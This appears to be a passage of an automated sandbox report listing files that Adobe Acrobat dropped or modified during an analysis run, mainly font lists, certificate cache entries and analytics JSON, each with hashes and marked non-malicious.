SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklMekGltfllXlE/HT8kughvNNX8RolJuRdxLlGB9lQRYwpDdt:kKVekyeT8g3NMa8RdWBwRd
MD5:	CA3CA9EB53DA23EF20E0661737226913
SHA1:	2A26D221FCAEA08B2F9651ACF97E3E81F55B8053
SHA-256:	02666ABB19023CBDB082B810207F5B8320B23FEC6D350608E496CFF8939F2664
SHA-512:	A41807698AB905E118739983E91D9CF7EBA3E35C04C088D7846A7EDB06A5CED2729F67457E27B88387B46999BC5AC0B5E9BCAAB4E0F205F031F0D29B19FECE06
Malicious:	false
Preview:	p...... ........?..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kK/NM/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:nNM/iDImsLNkPlE99SNxAhUe/3
MD5:	291D17B6B34010FBA289808ECEF9B31E
SHA1:	813203E880F0A5D6CAF3270AAF5AA96A1B63CFEA
SHA-256:	698ACDFC8E0D41CB326690E9289B3D81E82480D9AE760D5159A21C04CE4D36EF
SHA-512:	A021D60E3B46AFAA487965D77249E98194B6D758BD846D8CC7ADE81524E59AB659DF2D5E0B8AC6F137EAA48B088C7EAB9A3C3DDD62BCF4EA927BABC6D1107796
Malicious:	false
Preview:	p...... ........V....c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3920

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3920

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.341212372181051
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWnfAHw6VWOx+FIbRI6XVW7+0YIjJWxoAvJM3g98kUwPeUkwRe9:YvXKXFAfAQ6VWOUYpW72OGMbLUkee9
MD5:	AD532F40495CF8A24F044DFEE3D51C95
SHA1:	821FA02D37EDF414C8BE9C7693F6D5C6EF415949
SHA-256:	6D6CF113006E53BDB839939E4B8F0B908C794B73331DC1E1CDBDE5A0AFD059A1
SHA-512:	E689DCA1C02D758495E44FD05876D28EBFF8BFD2EA08A815BFEDBC00DA56561327BFCEDFC9DE00952B6A1962FEDDAAB807CDCE02677F101791AD118D41394AE1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23e45a93-514e-4094-8c97-adc1b72449bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738172197,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.279840690257262
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWnfAHw6VWOx+FIbRI6XVW7+0YIjJWxoAvJfBoTfXpnrPeUkwRe9:YvXKXFAfAQ6VWOUYpW72OGWTfXcUkee9
MD5:	49E6CAA73290A1403B4E0D6DD3BD0EA2
SHA1:	077BABC65FD6F28A493A864AC64C1BF0AD293902
SHA-256:	0B3F51101CC2BA5E29FBAD39E04006D19A21197A1EA0DED3555EE3281766E5D2
SHA-512:	965F510B2FA12EF40EFD43ECA68B7CC4F04A394F70747898FA19B0F40EC71DF42754EC7479D74313712711A3ED6E2EFA49EDEF3E764C0E816E1CC8973372A6EB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23e45a93-514e-4094-8c97-adc1b72449bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738172197,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2583890067832675
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWnfAHw6VWOx+FIbRI6XVW7+0YIjJWxoAvJfBD2G6UpnrPeUkwRe9:YvXKXFAfAQ6VWOUYpW72OGR22cUkee9
MD5:	F04C02F1E8BF0DBFE37D11FDE7747661
SHA1:	9E483290BED5330F785627F9E0C8CB4C9E42BC51
SHA-256:	F3AD914105E8F67AD0C2549771D38EF0D735610C24E3E284C98B2FBD22AC0379
SHA-512:	B3F096DA918C4A52F24D4D5CA7D9C8D2C46C47D0D96FA389DA15CD2B13A3920E9B4D2F979D6C82F5A44019F0666EE3C42F44E1767B023A1998AB12AB2F95EBBA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23e45a93-514e-4094-8c97-adc1b72449bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738172197,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.319328021268807
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWnfAHw6VWOx+FIbRI6XVW7+0YIjJWxoAvJfPmwrPeUkwRe9:YvXKXFAfAQ6VWOUYpW72OGH56Ukee9
MD5:	75DBBE3564A0914A38DE425BA0B0E9C5
SHA1:	E7520CBF5257C1A77B654A433FD18C3F69521F3B
SHA-256:	B32C77E731A47AE377DDC36CD190E63F0766EFC622A302ED121530AFF4A50968
SHA-512:	2B98D989E16BC05361CE5A8B999F880F7DD25D0BA0839487B8C258C0ADF37DA91D4B1875FCD0E5C2F5BECA9A212A7DB1F4F510CE50C978F0F491BB73F31F6C72
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23e45a93-514e-4094-8c97-adc1b72449bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738172197,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.689021725373507
Encrypted:	false
SSDEEP:	24:Yv6XZPFi27pLgE9cQx8LennAvzBvkn0RCmK8czOCCSh:Yvl27hgy6SAFv5Ah8cv/h
MD5:	9545D69BE887E68EC8FBC1BE284BE10D
SHA1:	5515557269B4202C339985881E5D64F6CB3F3EF9
SHA-256:	6A2675527129F94A9434EE864AF320EA7C977591A5A31A5C592C4519044BBF7D
SHA-512:	4C07BEF9EB2F92EE96AB61C3D647453CE58235EF5A34087DA5A07BF3224CFE3622B3F2A7985BA9420517D4BC5B0A198DD6EAE17F215FF9305587669E5AB31D11
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23e45a93-514e-4094-8c97-adc1b72449bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738172197,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.264893674156182
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWnfAHw6VWOx+FIbRI6XVW7+0YIjJWxoAvJf8dPeUkwRe9:YvXKXFAfAQ6VWOUYpW72OGU8Ukee9
MD5:	776AADAC78C2C41EA082AE3B1C494973
SHA1:	8C2EB64C0B9AEDF8AA42460C2C89280C52AC9F0C
SHA-256:	B9ABF6F78C667BAE15F16A79FFF297087D4DF03D83FC7034F0A39074CB1760F4
SHA-512:	3ADA113A18F9F32CC3D322DD2627700B12632F315967BFAEFF3DA1413CC5764766CBF45097AA33BB448A3CC78FB4D7FA337C9BA228813E7DC01C48AD83058019
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23e45a93-514e-4094-8c97-adc1b72449bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738172197,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.266227755004005
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWnfAHw6VWOx+FIbRI6XVW7+0YIjJWxoAvJfQ1rPeUkwRe9:YvXKXFAfAQ6VWOUYpW72OGY16Ukee9
MD5:	2A06D7AD3ADD5D12BCB792E3DDBED6AE
SHA1:	5AE55BDBFFD45BEDEB496038413308A95AEA8B62
SHA-256:	D75118165F33F35FF9FBB7515A074AC7052AFFA98BF268AFBAF4715AE91018F4
SHA-512:	04A24349484FD3D4FA16557044C425116B2B1785F9AE3C1A8BC9F323D9D25ADE51465B8545B9C8C7BEF3A0EC2BCF3A0DAE8F1909798A230E8665CBE370228A80
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23e45a93-514e-4094-8c97-adc1b72449bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738172197,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.286415903086107
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWnfAHw6VWOx+FIbRI6XVW7+0YIjJWxoAvJfFldPeUkwRe9:YvXKXFAfAQ6VWOUYpW72OGz8Ukee9
MD5:	8E19EBB9A85D0C12C1AFEDF2388B3C70
SHA1:	020562EC42091053CF7C8133C23FE3373A1FBEB8
SHA-256:	33781677D8B8764ED25ECC7D35900CAEDABE0D4190A28BBE01CCD77A3F55A819
SHA-512:	7941541ED18255938187600E4DF1F86D39A5CCF2C1BF3728C7AF80C976956D281B2A2C9BB90C48708240125E03CFAE03F16B166B862145B725AD3A38EEF1F5CE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23e45a93-514e-4094-8c97-adc1b72449bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738172197,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.292774135519123
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWnfAHw6VWOx+FIbRI6XVW7+0YIjJWxoAvJfzdPeUkwRe9:YvXKXFAfAQ6VWOUYpW72OGb8Ukee9
MD5:	258A9B4B58AC56A8CA07829B0D21F292
SHA1:	E0BA3A97591C3672D4E9C3AE8C070CFD5F897B80
SHA-256:	80345EF8DB42F7838FD6C97E2BC4512150FD026E02B5780801E914E9657A0331
SHA-512:	96F5DD1BA980CAEFFF2A5A89225A713E315B38B82EFEA7F4899FF0648FEFBC7CB0D19FEA0AC3EDB9F022361EA4C74070E76871544AAFBA72DF458CF26A2A3C5B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23e45a93-514e-4094-8c97-adc1b72449bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738172197,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2728658474540655
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWnfAHw6VWOx+FIbRI6XVW7+0YIjJWxoAvJfYdPeUkwRe9:YvXKXFAfAQ6VWOUYpW72OGg8Ukee9
MD5:	44A767C6F358110F6C01650150BA4220
SHA1:	5FA45EE586384104BC5138C556909D304E6C85B3
SHA-256:	D1269D6E46575F30DC58712A7EB04B8654AB03B33473045A1C768CE5E096E8C7
SHA-512:	B5A57F80DEAC857E86D0DCD26175D6BAC0A21D8B130E84098E1E240033D6E74C4E1B51BC86C5EC60346B0BC7134DE4709A75F6D3D4C467999DCAD9B9AD6F0447
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23e45a93-514e-4094-8c97-adc1b72449bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738172197,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.258737497251308
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWnfAHw6VWOx+FIbRI6XVW7+0YIjJWxoAvJf+dPeUkwRe9:YvXKXFAfAQ6VWOUYpW72OG28Ukee9
MD5:	7E41EFF645F756F043DC1D83A9423D0C
SHA1:	4A124B293B638FC8C45A356E2DFC565CEF4CBC60
SHA-256:	436DD76C37AA2A7725BCE9F5F8DBEFE4F98D5280F1392B637DA5023B2A1338FF
SHA-512:	B0EB12051850A1A18B98D9E7C8483395805FDF94D78EB1C424D3D54EE295703FE1E71B1AE66F7742D936CC9C56B8C87DC411F91202607270D2D783C1D756CC69
Malicious:	false
